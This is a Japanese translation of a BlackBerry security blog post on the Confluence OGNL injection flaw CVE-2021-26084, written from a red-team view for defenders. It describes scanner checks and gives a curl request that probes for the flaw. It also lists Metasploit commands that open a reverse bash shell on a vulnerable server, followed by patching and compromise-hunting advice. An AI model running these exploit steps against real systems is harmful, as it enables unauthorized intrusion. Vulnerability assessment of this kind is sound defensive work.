ナビゲーションをスキップする
BlackBerry ブログ

レッドチーム:攻撃の観点から観た Confluence の脆弱性(CVE-2021-26084)

Endangered, hacked Server room interior in datacenter, red lights. 3D Render
Endangered, hacked Server room interior in datacenter, red lights. 3D Render

本ブログ記事は、2021年9月14日に米国で公開されたBlackBerryのブログ記事の抄訳版です。原文はこちらからご覧頂けます。

 

BlackBerry® のインシデント対応チーム は、先ごろ発見された Confluence Server と Data Center の脆弱性(CVE-2021-26084) で最も一般的な攻撃者の TTP(戦術、技法、手順)について、ブルーチームの防御の観点に関する記事 で取り上げました。

この記事では、攻撃の観点からこの脆弱性をどう捉えるかについて詳しく説明します。そのため、この記事を読めば、環境に潜むリスクを見つけて正しく伝えることができます(注意:ご自身のシステムをテストする際は、十分な権限を入手してからにしてください)。

以下で説明する手法は、影響を受けているかどうかわからないシステムを発見するのに役立ちます。影響を受けたことがわかっているシステムがある場合は(活動中の脅威アクターによる侵害が発生した場合など)、発見・検証手順を実行する前に、エクスプロイトの形跡がないかどうかを確認することをお勧めします。

 

発見と特定

理想的な環境では、OS および実行中のあらゆるもののアプリケーションバージョンと共に、全員が環境内の資産をすべて把握しているはずです。しかし、環境は動的である上に、従業員がホストやソフトウェア(Confluence サーバーなど)を、適切な承認やドキュメントなしに稼働させる可能性があります。潜在的に脆弱なこのようなデバイスの発見、特定に使用できる手法をいくつか紹介します。

 

バージョン情報

Confluence のバージョンは複数の 方法で確認できます。最も簡単な方法は、Confluence のメインページを参照することです(図 1)。

図1: メインページでのバージョンの表示(Confluence 7.12.0)

 

脆弱性スキャン

特定の脆弱性スキャナーを推奨するわけではありませんが、Confluence サーバーを発見して CVE-2021-26084 の有無を確認するために使用できるプラグインは少なくとも 3 つあります。

  • Tenable Nessus(プラグイン ID:152864)
  • Rapid7 – InsightVM と Nexpose の顧客は 2021 年 8 月 26 日のコンテンツリリースで対応済み
  • Qualys – ローカルチェック(Qualys ID:375839)およびリモートチェック(Qualys ID:730172)

Qualys は、各プラグインの仕組みについても解説しています。高度な技術を使わない安価な発見方法が必要な場合は、これらのチェックをスクリプト化することもできます。

Qualys の ローカル チェックで脆弱なバージョンの Confluence Server を確認する場合、次のレジストリキーの有無が検索されます。

  • 32 ビット:「HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall」
  • 64 ビット:「HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall」

Qualys の リモート チェックでは、認証されていない 2 つの異なる方法を試します。

1. 加工した HTTP POST リクエストを「pages/createpage-entervariables.action」や「pages/doenterpagevariables.action」に送信して、ターゲットが脆弱かどうかをチェックします。

2. 上記の手法が機能しない場合は、login.action ページに対する GET リクエストを使用して、脆弱なバージョンの Atlassian Confluence の有無をチェックします。

 

確認

Confluence Server が脆弱かどうかを手動で確認するには、curl を使用して POST リクエストを /pages/createpage-entervariables.action ページに送信します。次の例では、「queryString=vulnerable」をサーバーに送信しています。この文字列が応答ページに反映される場合、アプリケーションは CVE-2021-26084 に対して脆弱です (図 2 を参照)。

curl -k -X $'POST' -H $'Host: 192.168.1.177:8090' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0' -H $'Accept: */*' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 22' -H $'Origin: http://192.168.1.177:8090' -H $'Connection: close' --data-binary $'queryString=vulnerable' $'http://192.168.1.177:8090/pages/createpage-entervariables.action' --trace-ascii - -s | grep query

図2: 文字列が反映された Confluence からの応答

 

エクスプロイト

2021 年 9 月 8 日時点では、Metasploit モジュールを利用して脆弱な Confluence サーバーを検出して悪用できます。これを実行するには、「atlassian_confluence_webwork_ognl_injection」モジュールが含まれる Metasploit の最新バージョンを入手します。msfconsole を起動し、次のコマンドを使用してエクスプロイトをロードし、ローカルアドレスとリモートアドレスを設定します。デフォルトのシェルはリバース bash シェルです。これを以下に示します。

use exploit/linux/http/atlassian_confluence_webwork_ognl_injection

set RHOSTS <IP_OF_CONFLUENCE_SERVER>

set LHOST <IP_OF_ATTACKING_SERVER>

run

成功すると、Confluence ユーザーのコンテキストでシェルを取得できます (図 3)。

図3: Metasploit モジュールを使用したエクスプロイトで Confluence Server ユーザーとしてアクセスを取得

サーバー上でシェルを取得したら、攻撃者は思いつく限りのポストエクスプロイトを実行できます。これを見つけたら速やかに報告を行い、次のセクションに示す推奨事項に従ってこのホストの保護に進んでください。

 

取るべき対策

Confluence Server または Data Center のバージョン番号を入手したら、こちらのリスト をチェックして、影響を受けるバージョンのソフトウェアがオンプレミスにあるかどうかを確認します。影響を受けるバージョンを実行している場合、修正バージョンにアップグレードできるのであれば、アップグレードすることが次の手順です。アップグレードできない場合は、Atlassian が提供する 一時的な回避策 を実装します。

最後に、ホストと周辺環境に侵害の形跡がないかどうかをチェックすることが重要です。前述の ブルーチームの防御の観点に関する記事 に、侵害が発生した場合に検知すべき攻撃者の手法がいくつか記載されています。

ファイルシステム全体をチェックして、Web シェルの形跡がないかどうかを確認します。攻撃者はきわめて小さい Web シェル(China Chopper など)を使用している可能性があることに注意してください。これは周囲のファイルに時刻を一致させて紛れ込み、検知を回避することができます。

脆弱性を確認して(場合によっては前述の手法を使用)、無効化したら、その経験を活かして組織内にセキュリティの重要性を伝えます。このような脆弱性のリスクを軽減できるセキュリティへの取り組みとしては、次のようにさまざまなものがあります。

  • アセットの管理
  • 脆弱性の管理
    • スキャン
    • 追跡して修正
    • 修正の確認
  • エンドポイント保護(EPP)ソフトウェア
  • エンドポイント検知・対処(EDR)ソフトウェア
  • ログの収集と相関の一元化

すべての組織が、検知、軽減、予防の能力を最優先事項にする必要があります。

 

BlackBerry Spark UES Suite および BlackBerry Guard は今回のような攻撃を阻止することができます

この記事で説明した手順についてわからないことがあったら、BlackBerry の専門家にレッドチーム評価またはフォレンジック分析、あるいは 侵害評価 の実施を依頼してください。BlackBerry のお客様はどうぞご安心ください。AI 駆動の BlackBerry Spark UES Suite と、MDR(Managed Detection & Response)ソリューションである BlackBerry® Guard はすべて、絶えず外部に公開されている脆弱性によってもたらされるリスクの軽減に十分対応することができます。

そのコア技術には次のようなものがあります。

  • BlackBerry® Protect は、マルウェアの未然防御、アプリケーションやスクリプトの制御、メモリの保護、デバイスポリシーの適用を自動化します。
  • BlackBerry® Optics は、BlackBerry Optics コンテキスト分析エンジン(CAE)のルールを使用することにより脅威予防を拡張し、テレメトリを追加します。脆弱性の悪用を特定するには、以下のルールが有効です。
    • Certutil の悪用
    • PowerShell のダウンロード
    • エンコードされた Powershell コマンド
    • ワンライナー ML モジュール
    • アカウントの発見

 

攻撃を受けた場合

不幸にも未然の防御が間に合わず、すでに攻撃の被害を受けていると思われる場合は、BlackBerry との既存の関係にかかわらず、 当社にご連絡ください

BlackBerry のインシデント対応チーム は、世界的に活躍するコンサルタントから構成され、ランサムウェアや持続的標的型攻撃(APT)など、さまざまなインシデントへの対応と封じ込めのサービスを専門としています。

 

・お問い合わせ:https://www.blackberry.com/ja/jp/forms/enterprise/contact-us

・イベント/セミナー情報:https://www.blackberry.com/ja/jp/events/jp-events-tradeshows

・BlackBerry Japan:https://www.blackberry.com/ja/jp

Tony Lee

About Tony Lee

グローバルサービステクニカルオペレーション担当副社長、BlackBerry

BlackBerryのグローバルサービステクニカルオペレーション担当副社長のTony Leeは、15年余りの専門家としての調査とコンサルティングの経験を通じて情報セキュリティのあらゆる分野に精力的に取り組んでいます。熱心な教育者として、政府、大学、企業、Black Hatなどのカンファレンスをはじめとする、世界中のさまざまな場所で数千人の学生を指導してきました。『Hacking Exposed 7』の寄稿者としてあらゆる機会を利用して知識を共有しているほか、熱心なブロガー、調査担当者、そしてCitrix Security、China Chopper Webシェル、CiscoのSYNFul Knockルーターインプラントなど、幅広いトピックのホワイトペーパーの著者でもあります。長年にわたって、UnBup、Forensic Investigator Splunkアプリ、ホームユーザーからSOCアナリストまで万人向けに設計された拡張可能な脅威インテリジェンスボットフレームワークのCyBotなど、多くのツールをセキュリティコミュニティに提供しています。